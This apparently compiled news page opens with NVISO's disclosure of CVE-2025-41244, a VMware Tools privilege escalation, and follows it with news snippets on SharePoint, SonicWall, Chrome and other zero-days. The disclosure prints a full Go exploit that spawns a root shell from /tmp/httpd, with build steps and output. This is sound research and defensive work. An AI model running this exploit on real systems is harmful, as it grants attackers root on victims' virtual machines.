blog.nviso.eu Maxime Thiebaut Incident Response & Threat Researcher Expert within NVISO CSIRT 29.09.2025
NVISO has identified zero-day exploitation of CVE-2025-41244, a local privilege escalation vulnerability impacting VMware's guest service discovery features.
On September 29th, 2025, Broadcom disclosed a local privilege escalation vulnerability, CVE-2025-41244, impacting VMware’s guest service discovery features. NVISO has identified zero-day exploitation in the wild beginning mid-October 2024.
The vulnerability impacts both the VMware Tools and VMware Aria Operations. When successful, exploitation of the local privilege escalation results in unprivileged users achieving code execution in privileged contexts (e.g., root).
Throughout its incident response engagements, NVISO determined with confidence that UNC5174 triggered the local privilege escalation. We can however not assess whether this exploit was part of UNC5174’s capabilities or whether the zero-day’s usage was merely accidental due to its trivialness. UNC5174, a Chinese state-sponsored threat actor, has repeatedly been linked to initial access operations achieved through public exploitation.
Background
Organizations relying on the VMware hypervisor commonly employ the VMware Aria Suite to manage their hybrid‑cloud workloads from a single console. Within this VMware Aria Suite, VMware Aria Operations is the component that provides performance insights, automated remediation, and capacity planning for the different hybrid‑cloud workloads. As part of its performance insights, VMware Aria Operations is capable of discovering which services and applications are running in the different virtual machines (VMs), a feature offered through the Service Discovery Management Pack (SDMP).
The discovery of these services and applications can be achieved in either of two modes:
The legacy credential-based service discovery relies on VMware Aria Operations running metrics collector scripts within the guest VM using a privileged user. In this mode, all the collection logic is managed by VMware Aria Operations and the guest’s VMware Tools merely acts as a proxy for the performed operations.
The credential-less service discovery is a more recent approach where the metrics collection has been implemented within the guest’s VMware Tools itself. In this mode, no credentials are needed as the collection is performed under the already privileged VMware Tools context.
As part of its discovery, NVISO was able to confirm the privilege escalation affects both modes, with the logic flaw hence being respectively located within VMware Aria Operations (in credential-based mode) and the VMware Tools (in credential-less mode). While VMware Aria Operations is proprietary, the VMware Tools are available as an open-source variant known as VMware’s open-vm-tools, distributed on most major Linux distributions. The following CVE-2025-41244 analysis is performed on this open-source component.
Analysis
Within open-vm-tools’ service discovery feature, the component handling the identification of a service’s version is achieved through the get-versions.sh shell script. As part of its logic, the get-versions.sh shell script has a generic get_version function. The function takes as argument a regular expression pattern, used to match supported service binaries (e.g., /usr/bin/apache), and a version command (e.g., -v), used to indicate how a matching binary should be invoked to retrieve its version.
When invoked, get_version loops $space_separated_pids, a list of all processes with a listening socket. For each process, it checks whether service binary (e.g., /usr/bin/apache) matches the regular expression and, if so, invokes the supported service’s version command (e.g., /usr/bin/apache -v).
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
The get_version function is called using several supported patterns and associated version commands. While this functionality works as expected for system binaries (e.g., /usr/bin/httpd), the usage of the broad‑matching \S character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd). These non-system binaries are located within directories (e.g., /tmp) which are writable to unprivileged users by design.
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
By matching and subsequently executing non-system binaries (CWE-426: Untrusted Search Path), the service discovery feature can be abused by unprivileged users through the staging of malicious binaries (e.g., /tmp/httpd) which are subsequently elevated for version discovery. As simple as it sounds, you name it, VMware elevates it.
Proof of Concept
To abuse this vulnerability, an unprivileged local attacker can stage a malicious binary within any of the broadly-matched regular expression paths. A simple common location, abused in the wild by UNC5174, is /tmp/httpd. To ensure the malicious binary is picked up by the VMware service discovery, the binary must be run by the unprivileged user (i.e., show up in the process tree) and open at least a (random) listening socket.
The following bare-bone CVE-2025-41244.go proof-of-concept can be used to demonstrate the privilege escalation.
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
_, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
_, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()}
Once compiled to a matching path (e.g., go build -o /tmp/httpd CVE-2025-41244.go) and executed, the above proof of concept will spawn an elevated root shell as soon as the VMware metrics collection is executed. This process, at least in credential-less mode, has historically been documented to run every 5 minutes.
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
Credential-based Service Discovery
When service discovery operates in the legacy credential-based mode, VMware Aria Operations will eventually trigger the privilege escalation once it runs the metrics collector scripts. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged context of the configured credentials. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the entries until line 4 are legitimate and the entries as of line 5 part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script_-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 _ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 \ ps -ef --forest
Credential-less Service Discovery
When service discovery operates in the modern credential-less mode, the VMware Tools will eventually trigger the privilege escalation once it runs the collector plugin. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged VMware Tools user context. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the first entry is legitimate and all subsequent entries (line 3 and beyond) part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
Detection
Successful exploitation of CVE-2025-41244 can easily be detected through the monitoring of uncommon child processes as demonstrated in the above process trees. Being a local privilege escalation, abuse of CVE-2025-41244 is indicative that an adversary has already gained access to the affected device and that several other detection mechanisms should have triggered.
Under certain circumstances, exploitation may forensically be confirmed in legacy credential-based mode through the analysis of lingering metrics collector scripts and outputs under the /tmp/VMware-SDMP-Scripts-{UUID}/ folders. While less than ideal, this approach may serve as a last resort in environments without process monitoring on compromised machines. The following redacted metrics collector script was recovered from the /tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.sh location and mentions the matched non-system service binary on its last line.
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
Conclusions
While NVISO identified these vulnerabilities through its UNC5174 incident response engagements, the vulnerabilities’ trivialness and adversary practice of mimicking system binaries (T1036.005) do not allow us to determine with confidence whether UNC5174 willfully achieved exploitation.
The broad practice of mimicking system binaries (e.g., httpd) highlight the real possibility that several other malware strains have accidentally been benefiting from unintended privilege escalations for years. Furthermore, the ease with which these vulnerabilities could be identified in the open-vm-tools source code make it unlikely that knowledge of the privilege escalations did not predate NVISO’s in-the-wild identification.
Timeline
2025-05-19: Forensic artifact anomaly noted during UNC5174 incident response engagement.
2025-05-21: Forensic artifact anomaly attributed to unknown zero-day vulnerability.
2025-05-25: Zero day vulnerability identified and reproduced in a lab environment.
2025-05-27: Responsible disclosure authorized and initiated through Broadcom.
2025-05-28: Responsible disclosure triaged, investigation started by Broadcom.
2025-06-18: Embargo extended by Broadcom until no later than October to align release cycles.
2025-09-29: Embargo lifted, CVE-2025-41244 patches and advisory published.
databreachtoday.eu - Hackers breached a sensitive database containing office locations and personal details of elected officials and staff in Canada's House of Commons.
The breach targeting the House of Commons network occurred Friday and involved a database "containing information used to manage computers and mobile devices," according to an internal email obtained by CBC News. Hackers were able to "exploit a recent Microsoft vulnerability," the missive said.
The message did not name any nation-state or criminal group, and it remains unclear which database was compromised or if other sensitive data was accessed. Affected information includes names and titles, email addresses and device details including models, operating systems and telephone numbers.
Olivier Duhaime, spokesperson for the House of Commons' Office of the Speaker, told Information Security Media Group in an emailed statement Thursday that the "House of Commons is working closely with its national security partners to further investigate this matter." Duhaime declined to comment any further on the specifics of the investigation, citing "security reasons."
The Canadian Center for Cyber Security in July warned that it was aware of exploitation occurring inside the country of a zero-day exploit discovered in Microsoft SharePoint. The computing giant published an emergency patch described by Google Cloud's Mandiant consulting chief technology officer as "uniquely urgent and drastic" (see: SharePoint Zero-Days Exploited to Unleash Warlock Ransomware).
The U.S. Cybersecurity and Infrastructure Security Agency warned earlier this month that remote code execution flaw - publicly known as "ToolShell" - allows unauthenticated system access and authenticated access via network spoofing. The agency said attackers can gain full access to SharePoint content, including file systems and configurations.
"This isn't an 'apply the patch and you're done' situation," Mandiant Chief Technology Officer Charles Carmakal wrote on LinkedIn, urging organizations with SharePoint to "implement mitigations right away" and apply the patch.
Microsoft said in a July blog post that threat actors seeking initial access include Chinese nation-state hackers tracked as Linen Typhoon and Violet Typhoon, as well as possibly China-linked Storm-2603. Linen and Violet Typhoon have targeted intellectual property from government, defense, strategic planning and human rights organizations, along with higher education, media, financial and health sectors across the United States, Europe and Asia.
Linen typically conducts "drive-by compromises" using known exploits, while Violet "persistently scans for vulnerabilities in the exposed web infrastructure of target organizations."
therecord.media - Multiple cybersecurity incident response firms are warning about the possibility that a zero-day vulnerability in some SonicWall devices is allowing ransomware attacks.
Ransomware gangs may be exploiting an unknown vulnerability in SonicWall devices to launch attacks on dozens of organizations.
Multiple incident response companies released warnings over the weekend about threat actors using the Akira ransomware to target SonicWall firewall devices for initial access. Experts at Arctic Wolf first revealed the incidents on Friday.
SonicWall has not responded to repeated requests for comment about the breaches but published a blog post on Monday afternoon confirming that it is aware of the campaign.
The company said Arctic Wolf, Google and Huntress have warned over the last 72 hours that there has been an increase in cyber incidents involving Gen 7 SonicWall firewalls that use the secure sockets layer (SSL) protocol.
“We are actively investigating these incidents to determine whether they are connected to a previously disclosed vulnerability or if a new vulnerability may be responsible,” the company said.
SonicWall said it is working with researchers, updating customers and will release updated firmware if a new vulnerability is found.
The company echoed the advice of several security firms, telling customers to disable SonicWall VPN services that use the SSL protocol.
At least 20 incidents
Arctic Wolf said on Friday that it has seen multiple intrusions within a short period of time and all of them involved access through SonicWall SSL VPNs.
“While credential access through brute force, dictionary attacks, and credential stuffing have not yet been definitively ruled out in all cases, available evidence points to the existence of a zero-day vulnerability,” the company said. None of the incident response companies have specified what that bug might be.
“In some instances, fully patched SonicWall devices were affected following credential rotation,” Arctic Wolf said, referring to the process of regularly resetting logins or other access.
The researchers added that the ransomware activity involving SonicWall VPNs began around July 15.
When pressed on whether any recent known SonicWall vulnerabilities are to blame for the attacks, an Arctic Wolf spokesperson said the researchers have “seen fully patched devices affected in this campaign, leading us to believe that this is tied to a net new zero day vulnerability.”
Arctic Wolf said in its advisory that given the high likelihood of such a bug, organizations “should consider disabling the SonicWall SSL VPN service until a patch is made available and deployed.”
Over the weekend, Arctic Wolf’s assessment was backed up by incident responders at Huntress, who confirmed several incidents involving the SonicWall SSL VPN.
A Huntress official said they have seen around 20 attacks since July 25 and many of the incidents include the abuse of privileged accounts, lateral movement, credential theft and ransomware deployment.
“This is happening at a pace that suggests exploitation, possibly a zero day exploit in Sonicwall. Threat actors have gained control of accounts that even have MFA deployed,” the official said.
He confirmed that the incidents Huntress examined also involved Akira ransomware.
'This isn't isolated'
Huntress released a lengthy threat advisory on Monday warning of a “likely zero-day vulnerability in SonicWall VPNs” that was being used to facilitate ransomware attacks. Like Arctic Wolf, they urged customers to disable the VPN service immediately.
“Over the last few days, the Huntress Security Operations Center (SOC) has been responding to a wave of high-severity incidents originating from SonicWall Secure Mobile Access (SMA) and firewall appliances,” Huntress explained.
“This isn't isolated; we're seeing this alongside our peers at Arctic Wolf, Sophos, and other security firms. The speed and success of these attacks, even against environments with MFA enabled, strongly suggest a zero-day vulnerability is being exploited in the wild.”
SonicWall devices are frequent targets for hackers because the types of appliances the company produces serve as gateways for secure remote access.
Just two weeks ago, Google warned of a campaign targeting end-of-life SonicWall SMA 100 series appliances through a bug tracked as CVE-2024-38475.
Unknown threat actors have breached the National Nuclear Security Administration's network in attacks exploiting a recently patched Microsoft SharePoint zero-day vulnerability chain.
NNSA is a semi-autonomous U.S. government agency part of the Energy Department that maintains the country's nuclear weapons stockpile and is also tasked with responding to nuclear and radiological emergencies within the United States and abroad.
A Department of Energy spokesperson confirmed in a statement that hackers gained access to NNSA networks last week.
"On Friday, July 18th, the exploitation of a Microsoft SharePoint zero-day vulnerability began affecting the Department of Energy, including the NNSA," Department of Energy Press Secretary Ben Dietderich told BleepingComputer. "The Department was minimally impacted due to its widespread use of the Microsoft M365 cloud and very capable cybersecurity systems."
Dietderich added that only "a very small number of systems were impacted" and that "all impacted systems are being restored."
As first reported by Bloomberg, sources within the agency also noted that there's no evidence of sensitive or classified information compromised in the breach.
The APT29 Russian state-sponsored threat group, the hacking division of the Russian Foreign Intelligence Service (SVR), also breached the U.S. nuclear weapons agency in 2019 using a trojanized SolarWinds Orion update.
Attacks linked to Chinese state hackers, over 400 servers breached
On Tuesday, Microsoft and Google linked the widespread attacks targeting a Microsoft SharePoint zero-day vulnerability chain (known as ToolShell) to Chinese state-sponsored hacking groups.
"Microsoft has observed two named Chinese nation-state actors, Linen Typhoon and Violet Typhoon exploiting these vulnerabilities targeting internet-facing SharePoint servers," Microsoft said.
"In addition, we have observed another China-based threat actor, tracked as Storm-2603, exploiting these vulnerabilities. Investigations into other actors also using these exploits are still ongoing."
Dutch cybersecurity firm Eye Security first detected the zero-day attacks on Friday, stating that at least 54 organizations had already been compromised, including national government entities and multinational companies.
Cybersecurity firm Check Point later revealed that it had spotted signs of exploitation going back to July 7th targeting dozens of government, telecommunications, and technology organizations in North America and Western Europe.
krebsonsecurity.com - On Sunday, July 20, Microsoft Corp. issued an emergency security update for a vulnerability in SharePoint Server that is actively being exploited to compromise vulnerable organizations. The patch comes amid reports that malicious hackers have used the SharePoint flaw to breach U.S. federal and state agencies, universities, and energy companies.
In an advisory about the SharePoint security hole, a.k.a. CVE-2025-53770, Microsoft said it is aware of active attacks targeting on-premises SharePoint Server customers and exploiting vulnerabilities that were only partially addressed by the July 8, 2025 security update.
The Cybersecurity & Infrastructure Security Agency (CISA) concurred, saying CVE-2025-53770 is a variant on a flaw Microsoft patched earlier this month (CVE-2025-49706). Microsoft notes the weakness applies only to SharePoint Servers that organizations use in-house, and that SharePoint Online and Microsoft 365 are not affected.
The Washington Post reported on Sunday that the U.S. government and partners in Canada and Australia are investigating the hack of SharePoint servers, which provide a platform for sharing and managing documents. The Post reports at least two U.S. federal agencies have seen their servers breached via the SharePoint vulnerability.
According to CISA, attackers exploiting the newly-discovered flaw are retrofitting compromised servers with a backdoor dubbed “ToolShell” that provides unauthenticated, remote access to systems. CISA said ToolShell enables attackers to fully access SharePoint content — including file systems and internal configurations — and execute code over the network.
Researchers at Eye Security said they first spotted large-scale exploitation of the SharePoint flaw on July 18, 2025, and soon found dozens of separate servers compromised by the bug and infected with ToolShell. In a blog post, the researchers said the attacks sought to steal SharePoint server ASP.NET machine keys.
“These keys can be used to facilitate further attacks, even at a later date,” Eye Security warned. “It is critical that affected servers rotate SharePoint server ASP.NET machine keys and restart IIS on all SharePoint servers. Patching alone is not enough. We strongly advise defenders not to wait for a vendor fix before taking action. This threat is already operational and spreading rapidly.”
Microsoft’s advisory says the company has issued updates for SharePoint Server Subscription Edition and SharePoint Server 2019, but that it is still working on updates for supported versions of SharePoint 2019 and SharePoint 2016.
CISA advises vulnerable organizations to enable the anti-malware scan interface (AMSI) in SharePoint, to deploy Microsoft Defender AV on all SharePoint servers, and to disconnect affected products from the public-facing Internet until an official patch is available.
The security firm Rapid7 notes that Microsoft has described CVE-2025-53770 as related to a previous vulnerability — CVE-2025-49704, patched earlier this month — and that CVE-2025-49704 was part of an exploit chain demonstrated at the Pwn2Own hacking competition in May 2025. That exploit chain invoked a second SharePoint weakness — CVE-2025-49706 — which Microsoft unsuccessfully tried to fix in this month’s Patch Tuesday.
Microsoft also has issued a patch for a related SharePoint vulnerability — CVE-2025-53771; Microsoft says there are no signs of active attacks on CVE-2025-53771, and that the patch is to provide more robust protections than the update for CVE-2025-49706.
This is a rapidly developing story. Any updates will be noted with timestamps.
Researchers revealed on Thursday that two European journalists had their iPhones hacked with spyware made by Paragon. Apple says it has fixed the bug that was used to hack their phones.
The Citizen Lab wrote in its report, shared with TechCrunch ahead of its publication, that Apple had told its researchers that the flaw exploited in the attacks had been “mitigated in iOS 18.3.1,” a software update for iPhones released on February 10.
Until this week, the advisory of that security update mentioned only one unrelated flaw, which allowed attackers to disable an iPhone security mechanism that makes it harder to unlock phones.
On Thursday, however, Apple updated its February 10 advisory to include details about a new flaw, which was also fixed at the time but not publicized.
“A logic issue existed when processing a maliciously crafted photo or video shared via an iCloud Link. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals,” reads the now-updated advisory.
In the final version of its report published Thursday, The Citizen Lab confirmed this is the flaw used against Italian journalist Ciro Pellegrino and an unnamed “prominent” European journalist
It’s unclear why Apple did not disclose the existence of this patched flaw until four months after the release of the iOS update, and an Apple spokesperson did not respond to a request for comment seeking clarity.
The Paragon spyware scandal began in January, when WhatsApp notified around 90 of its users, including journalists and human rights activists, that they had been targeted with spyware made by Paragon, dubbed Graphite.
Then, at the end of April, several iPhone users received a notification from Apple alerting them that they had been the targets of mercenary spyware. The alert did not mention the spyware company behind the hacking campaign.
On Thursday, The Citizen Lab published its findings confirming that two journalists who had received that Apple notification were hacked with Paragon’s spyware.
It’s unclear if all the Apple users who received the notification were also targeted with Graphite. The Apple alert said that “today’s notification is being sent to affected users in 100 countries.”
An APT hacking group known as 'Stealth Falcon' exploited a Windows WebDav RCE vulnerability in zero-day attacks since March 2025 against defense and government organizations in Turkey, Qatar, Egypt, and Yemen.
Stealth Falcon (aka 'FruityArmor') is an advanced persistent threat (APT) group known for conducting cyberespionage attacks against Middle East organizations.
The flaw, tracked under CVE-2025-33053, is a remote code execution (RCE) vulnerability that arises from the improper handling of the working directory by certain legitimate system executables.
Specifically, when a .url file sets its WorkingDirectory to a remote WebDAV path, a built-in Windows tool can be tricked into executing a malicious executable from that remote location instead of the legitimate one.
This allows attackers to force devices to execute arbitrary code remotely from WebDAV servers under their control without dropping malicious files locally, making their operations stealthy and evasive.
The vulnerability was discovered by Check Point Research, with Microsoft fixing the flaw in the latest Patch Tuesday update, released yesterday.
Google on Monday released a fresh Chrome 137 update to address three vulnerabilities, including a high-severity bug exploited in the wild.
Tracked as CVE-2025-5419, the zero-day is described as an out-of-bounds read and write issue in the V8 JavaScript engine.
“Google is aware that an exploit for CVE-2025-5419 exists in the wild,” the internet giant’s advisory reads. No further details on the security defect or the exploit have been provided.
However, the company credited Clement Lecigne and Benoît Sevens of Google Threat Analysis Group (TAG) for reporting the issue.
TAG researchers previously reported multiple vulnerabilities exploited by commercial surveillance software vendors, including such bugs in Chrome. Flaws in Google’s browser are often exploited by spyware vendors and CVE-2025-5419 could be no different.
According to a NIST advisory, the exploited zero-day “allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page”. It should be noted that the exploitation of out-of-bounds defects often leads to arbitrary code execution.
The latest browser update also addresses CVE-2025-5068, a medium-severity use-after-free in Blink that earned the reporting researcher a $1,000 bug bounty. No reward will be handed out for the zero-day.
The latest Chrome iteration is now rolling out as version 137.0.7151.68/.69 for Windows and macOS, and as version 137.0.7151.68 for Linux.
During the second day of Pwn2Own Berlin 2025, competitors earned $435,000 after exploiting zero-day bugs in multiple products, including Microsoft SharePoint, VMware ESXi, Oracle VirtualBox, Red Hat Enterprise Linux, and Mozilla Firefox.
The highlight was a successful attempt from Nguyen Hoang Thach of STARLabs SG against the VMware ESXi, which earned him $150,000 for an integer overflow exploit.
Dinh Ho Anh Khoa of Viettel Cyber Security was awarded $100,000 for hacking Microsoft SharePoint by leveraging an exploit chain combining an auth bypass and an insecure deserialization flaw.
Palo Alto Networks' Edouard Bochin and Tao Yan also demoed an out-of-bounds write zero-day in Mozilla Firefox, while Gerrard Tai of STAR Labs SG escalated privileges to root on Red Hat Enterprise Linux using a use-after-free bug, and Viettel Cyber Security used another out-of-bounds write for an Oracle VirtualBox guest-to-host escape.
In the AI category, Wiz Research security researchers used a use-after-free zero-day to exploit Redis and Qrious Secure chained four security flaws to hack Nvidia's Triton Inference Server.
On the first day, competitors were awarded $260,000 after successfully exploiting zero-day vulnerabilities in Windows 11, Red Hat Linux, and Oracle VirtualBox, reaching a total of $695,000 earned over the first two days of the contest after demonstrating 20 unique 0-days.
The Pwn2Own Berlin 2025 hacking competition focuses on enterprise technologies, introduces an AI category for the first time, and takes place during the OffensiveCon conference between May 15 and May 17.
This Google Threat Intelligence Group report presents an analysis of detected 2024 zero-day exploits.
Google Threat Intelligence Group (GTIG) tracked 75 zero-day vulnerabilities exploited in the wild in 2024, a decrease from the number we identified in 2023 (98 vulnerabilities), but still an increase from 2022 (63 vulnerabilities). We divided the reviewed vulnerabilities into two main categories: end-user platforms and products (e.g., mobile devices, operating systems, and browsers) and enterprise-focused technologies, such as security software and appliances.
Vendors continue to drive improvements that make some zero-day exploitation harder, demonstrated by both dwindling numbers across multiple categories and reduced observed attacks against previously popular targets. At the same time, commercial surveillance vendors (CSVs) appear to be increasing their operational security practices, potentially leading to decreased attribution and detection.
We see zero-day exploitation targeting a greater number and wider variety of enterprise-specific technologies, although these technologies still remain a smaller proportion of overall exploitation when compared to end-user technologies. While the historic focus on the exploitation of popular end-user technologies and their users continues, the shift toward increased targeting of enterprise-focused products will require a wider and more diverse set of vendors to increase proactive security measures in order to reduce future zero-day exploitation attempts.
SAP has released out-of-band emergency NetWeaver updates to fix a suspected remote code execution (RCE) zero-day flaw actively exploited to hijack servers.
A threat actor claims to offer a zero-day exploit for an unauthenticated remote code execution vulnerability in Fortinet firewalls.
Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have discovered post-compromise exploitation of a zero-day elevation of privilege vulnerability in the Windows Common Log File System (CLFS) against a small number of targets. The targets include organizations in the information technology (IT) and real estate sectors of the United States, the financial sector in Venezuela, a Spanish software company, and the retail sector in Saudi Arabia. Microsoft released security updates to address the vulnerability, tracked as CVE-2025-29824, on April 8, 2025.
EncryptHub, a notorious threat actor linked to breaches at 618 organizations, is believed to have reported two Windows zero-day vulnerabilities to Microsoft, revealing a conflicted figure straddling the line between cybercrime and security research.
Fortinet has disclosed a second authentication bypass vulnerability that was fixed as part of a January 2025 update for FortiOS and FortiProxy devices.
